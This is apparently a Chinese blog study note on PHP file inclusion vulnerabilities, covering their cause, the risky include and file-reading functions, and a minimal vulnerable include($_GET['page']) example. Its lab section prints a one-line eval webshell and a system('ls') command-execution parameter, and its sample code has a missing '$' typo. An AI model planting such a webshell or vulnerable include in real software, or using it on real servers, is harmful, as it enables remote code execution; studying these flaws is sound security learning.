文件包含 0 1学习

漏洞原理

成因

文件包含漏洞是一个最常见的依赖与脚本运行而影响Web应用程序的漏洞.当应用程序使用攻击者控制的变量建立一个可执行代码的路径,允许攻击者控制在运行时执行哪个文件时,就会导致文件包含漏洞.程序开发人员通常会把可重复使用的函数写入单文件中,在使用这些函数时,程序开发人员直接调用此文件,而无需再次编写函数,这种调用文件的过程一般被称为文件包含,此外,程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,导致文件包含漏洞.

危险函数

文件包含漏洞出现的前提是服务器开启allow_url_include选项在此前提下就可以通过php的某些特性函数(include require,include_once,require_once)利用url去动态包含文件,区别在于include(),include_once()遇到错误继续执行,而require(),require_once()遇到错误直接退出程序,如果在PHP配置中开启了allow_url_fopen,那么就可以进行远程文件包含.

|-------------------------------------------|--------------------------------------|
| 函数 | 概况 |
| include(filepath&<url&伪协议>) | 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常执行 |
| include_once(filepath&<url&伪协议>) | 只包含一次,其他同上 |
| require(filepath&<url&伪协议>) | 在包含的过程中如果出现错误,会直接报错并退出程序的执行 |
| require_once(filepath&<url&伪协议>) | 只包含一次,其他同上 |
| file(filepath&<url&伪协议>) | 把整个文件读入一个数组 |
| fopen(filepath&<url&伪协议>,$mode) | 打开文件或者URL(包含伪协议),搭配fread()和fgets()使用 |
| readfile(filepath&<url&伪协议>) | 读取并输出文件(不输出php代码),返回字节数 |
| highlight_file(filepath&<url&伪协议>) | 高亮输出代码 |
| show_source(filepath&<url&伪协议>) | 同上 |
| file_get_contents(filepath&<url&伪协议>) | 把整个文件读入一个字符串 |

最简单的文件包含

<?php

file=_GET['page'];

include($file);

?>

代码分析:

file=_GET['page'];会将get传参page的值赋值给$file

include(包含$file)任何文件包含后如果携带有php代码会直接解析

这里用户以GET形式的页面传入变量file,随后被include函数包含,中途没有进行任何过滤和规范性检测,黑客往往利用这种漏洞进行任意代码执行或文件读取

实验

include.php

<?php

file=_GET['page'];

include($file);

?>

.任意后缀名都可以

phpinfo

<? php phpinfo(); ?>包含phpinfo直接显示

一句话木马

<? php eval($_GET['md']); ?>

注意事项

文件包含只包含xxx文件如果是想给包含的文件传入数据需要用到&然后指定传入什么数据

在使用system的时候需要"system('命令');"记住不要忘记;

&md=system("ls");

相关推荐
2501_9444241232 分钟前
Flutter for OpenHarmony游戏集合App实战之连连看路径连线
android·开发语言·前端·javascript·flutter·游戏·php
wrj的博客7 小时前
python环境安装
python·学习·环境配置
优雅的潮叭7 小时前
c++ 学习笔记之 chrono库
c++·笔记·学习
星火开发设计7 小时前
C++ 数组:一维数组的定义、遍历与常见操作
java·开发语言·数据结构·c++·学习·数组·知识
星幻元宇VR8 小时前
走进公共安全教育展厅|了解安全防范知识
学习·安全·虚拟现实
2501_944424128 小时前
Flutter for OpenHarmony游戏集合App实战之贪吃蛇食物生成
android·开发语言·flutter·游戏·harmonyos
知识分享小能手8 小时前
Oracle 19c入门学习教程,从入门到精通, Oracle 表空间与数据文件管理详解(9)
数据库·学习·oracle
浅念-9 小时前
C语言小知识——指针(3)
c语言·开发语言·c++·经验分享·笔记·学习·算法
hkNaruto10 小时前
【AI】AI学习笔记:LangGraph 与 LangChain的关系以及系统性学习路线选择
笔记·学习·langchain
jrlong10 小时前
DataWhale大模型基础与量化微调task3学习笔记(第 5章:深入大模型架构_MoE 架构解析)
笔记·学习